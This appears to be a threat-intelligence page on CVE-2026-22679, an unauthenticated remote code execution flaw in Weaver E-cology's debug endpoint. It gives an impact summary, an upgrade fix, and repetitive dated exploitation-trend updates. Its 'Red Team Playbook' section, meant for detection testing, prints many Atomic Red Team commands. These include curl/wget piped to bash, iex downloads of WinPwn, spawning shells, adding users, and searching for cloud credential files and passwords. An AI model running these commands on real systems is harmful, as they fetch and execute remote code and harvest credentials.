CVE-2026-22679
Overview
This vulnerability is an unauthenticated remote code execution flaw caused by exposed debug functionality within the Weaver E-cology 10.0 platform. The root cause lies in the insufficient access control on the /papi/esearch/data/devops/dubboApi/debug/method endpoint, which processes attacker-controlled parameters without validation. This allows direct invocation of internal command-execution helpers via crafted POST requests targeting interfaceName and methodName parameters.
Vulnerability Description
Weaver (Fanwei) E-cology 10.0 versions prior to 20260312 contain an unauthenticated remote code execution vulnerability in the /papi/esearch/data/devops/dubboApi/debug/method endpoint that allows attackers to execute arbitrary commands by invoking exposed debug functionality. Attackers can craft POST requests with attacker-controlled interfaceName and methodName parameters to reach command-execution helpers and achieve arbitrary command execution on the system. Exploitation evidence was first observed by the Shadowserver Foundation on 2026-03-31 (UTC).
Impact
An unauthenticated attacker can execute arbitrary system commands remotely by exploiting this flaw, requiring only network access to the vulnerable endpoint. This enables full compromise of the affected system, including data exfiltration, service disruption, and lateral movement within the network. The vulnerability's CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms no authentication or user interaction is required, increasing the likelihood of exploitation in exposed environments.
Solution
Apply the security update provided by Weaver Network Co., Ltd. that addresses this vulnerability by removing or securing the exposed debug endpoint. The fixed version is 20260312 or later, as detailed in the vendor advisory at https://www.weaver.com.cn/cs/securityDownload.html#. Organizations should immediately upgrade to this version to mitigate the risk of exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Weaver E-cology 10.0 prior to version 20260312 presents a significant risk due to its unauthenticated remote code execution capabilities. This flaw resides in the debug functionality exposed through the /papi/esearch/data/devops/dubboApi/debug/method endpoint. Attackers can exploit this vulnerability by sending specially crafted POST requests that manipulate the interfaceName and methodName parameters. By doing so, they can invoke command-execution helpers, leading to the execution of arbitrary commands on the affected system. The lack of authentication checks allows unauthorized users to access this endpoint, making it particularly dangerous as it can be exploited without any legitimate credentials.
The attack vectors for this vulnerability are straightforward yet highly effective. An attacker could utilize tools such as cURL or Postman to send crafted requests to the vulnerable endpoint, specifying malicious payloads in the parameters. The exploitation process could be automated through scripts, enabling attackers to target multiple instances of the software simultaneously. Scenarios include deploying web shells, exfiltrating sensitive data, or even pivoting to other systems within the network. Given the ease of exploitation, this vulnerability poses a severe threat to any organization utilizing the affected versions of Weaver E-cology.
The real-world impact of this vulnerability is profound, particularly for businesses relying on Weaver E-cology for critical operations. The potential for arbitrary command execution means that attackers could gain full control over the affected systems, leading to data breaches, service disruptions, and significant financial losses. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that successful exploitation could result in severe consequences. Organizations could face reputational damage, regulatory fines, and loss of customer trust, further compounding the risks associated with this vulnerability.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First, immediate steps should include upgrading to the latest version of Weaver E-cology that addresses this vulnerability. Regularly monitoring logs for unusual activity, particularly around the debug endpoint, can help identify potential exploitation attempts. Additionally, employing web application firewalls (WAFs) can provide an extra layer of defense by filtering out malicious requests before they reach the application. Organizations should also consider implementing strict access controls and authentication mechanisms to limit exposure to sensitive endpoints.
In conclusion, the unauthenticated remote code execution vulnerability in Weaver E-cology represents a critical threat that organizations must address promptly. The simplicity of exploitation, coupled with the potential for devastating impacts, necessitates immediate action. By adopting proactive detection and mitigation strategies, organizations can protect their systems from this and similar vulnerabilities, thereby reducing their overall risk profile in an increasingly complex cybersecurity landscape.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the Weaver E-cology vulnerability, with telemetry indicating initial active reconnaissance and exploitation activity emerging in the wild. This development elevates the practical risk associated with CVE-2026-22679, as the vulnerability is no longer theoretical but demonstrably leveraged by threat actors. The updated CVSS score to 9.8 reflects the critical severity and ease of exploitation, while the EPSS increase, though still low, signals growing likelihood of exploitation attempts. For defenders, this shift underscores an urgent need to prioritize detection and response capabilities around the exposed debug endpoint, as exploitation can lead to full remote code execution without authentication. The evolving threat landscape suggests that adversaries may soon integrate this vulnerability into broader attack campaigns, potentially including ransomware operators seeking initial access vectors. Consequently, the threat level has risen from a latent risk to an active and critical concern requiring heightened vigilance.
Update 2 — April 20, 2026
CSURFACE threat intelligence has identified the emergence of a public proof-of-concept exploit targeting CVE-2026-22679, marking a critical shift from theoretical risk to practical exploitation capability. This development is accompanied by a measurable increase in the Exploit Prediction Scoring System (EPSS) score, reflecting heightened attacker interest and a greater likelihood of active exploitation attempts. Our telemetry indicates that this vulnerability is now more accessible to a wider range of threat actors, including those with limited technical resources, due to the availability of detailed exploit code on public platforms. This expansion of the exploit landscape significantly elevates the threat posture, as unauthenticated remote code execution via the exposed debug endpoint can facilitate rapid system compromise. The increased ease of exploitation and growing public visibility raise the probability that ransomware groups and other opportunistic adversaries will integrate this vulnerability into their attack chains. Consequently, the risk level has escalated from a latent concern to an immediate and critical threat, necessitating intensified monitoring and response efforts focused on this vector.
Update 3 — May 16, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting the Weaver E-cology vulnerability, evidenced by a significant surge in detection activity across our sensors. Although the EPSS score has declined, indicating a lower statistical likelihood of widespread exploitation, the recent upward trend in telemetry suggests increasing attacker interest and active probing. This divergence underscores a shifting threat dynamic where opportunistic adversaries, including ransomware operators, may be intensifying reconnaissance and initial access efforts despite broader exploit adoption remaining limited. The availability of new proof-of-concept exploits further lowers the barrier for exploitation, amplifying the risk of rapid compromise. Consequently, the threat level has intensified from a latent to a more immediate concern, warranting heightened vigilance as adversaries appear poised to leverage this critical unauthenticated remote code execution vulnerability more aggressively.
Update 4 — July 25, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the Weaver E-cology vulnerability, with a discernible increase in adversary activity leveraging the unauthenticated remote code execution flaw. This surge coincides with the wider dissemination of new proof-of-concept exploits, which have lowered the technical barriers for threat actors to weaponize the vulnerability. Our telemetry indicates that while the overall exploitation trend remains stable, the intensity and frequency of targeted reconnaissance and initial access operations have intensified, suggesting a shift from opportunistic scanning to more deliberate intrusion efforts. This development is particularly concerning given the critical severity of the vulnerability and its unauthenticated nature, which enables attackers to execute arbitrary commands without prior access. The evolving threat landscape now reflects a heightened risk of rapid compromise, especially as ransomware groups and other financially motivated actors increasingly incorporate this vector into their attack chains. Consequently, the threat level associated with CVE-2026-22679 has escalated from a latent to an imminent concern, underscoring the urgency for defenders to prioritize detection and response capabilities focused on this exploit.
Update 5 — August 16, 2026
CSURFACE threat intelligence has identified a slight increase in exploitation attempts targeting the Weaver E-cology vulnerability, reflected by a modest uptick in telemetry detections. While the overall exploitation trend remains stable, this incremental rise signals continued adversary interest and persistent probing of the exposed debug endpoint. The availability of a public proof-of-concept exploit continues to lower the barrier for threat actors, including financially motivated groups such as ransomware operators, to leverage this critical unauthenticated remote code execution flaw. Although the current EPSS score remains steady, the observed activity underscores the vulnerability’s sustained attractiveness as an attack vector. Consequently, the threat level associated with CVE-2026-22679 remains elevated, reinforcing its status as a high-priority concern for defenders who must maintain vigilant detection and response postures to counter ongoing exploitation efforts.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Weaver | E-Cology | All |
cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
keraattin/CVE-2026-22679
Critical RCE vulnerability (CVSS 9.3) in Weaver E-cology platform versions prior to build 20260312. Unauthenticated remo...
|
keraattin | 4 | 0 | 2026-04-16 | View |
Threat Feed
13 eventsSighting activity recorded
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Proof-of-concept code is publicly available for this vulnerability
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Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-22679 |
| weaver.com.cn |
GitHub CVE
release-notes
|
https://www.weaver.com.cn/cs/securityDownload.html# |
| h4cker.zip |
GitHub CVE
technical-description
exploit
|
https://h4cker.zip/post/d5d211/ |
| ti.qianxin.com |
GitHub CVE
third-party-advisory
|
https://ti.qianxin.com/vulnerability/notice-detail/1760 |
| vulncheck.com |
GitHub CVE
third-party-advisory
|
https://www.vulncheck.com/advisories/weaver-e-cology-unauthenticated-rce-via-dubboapi-debug-endpoint |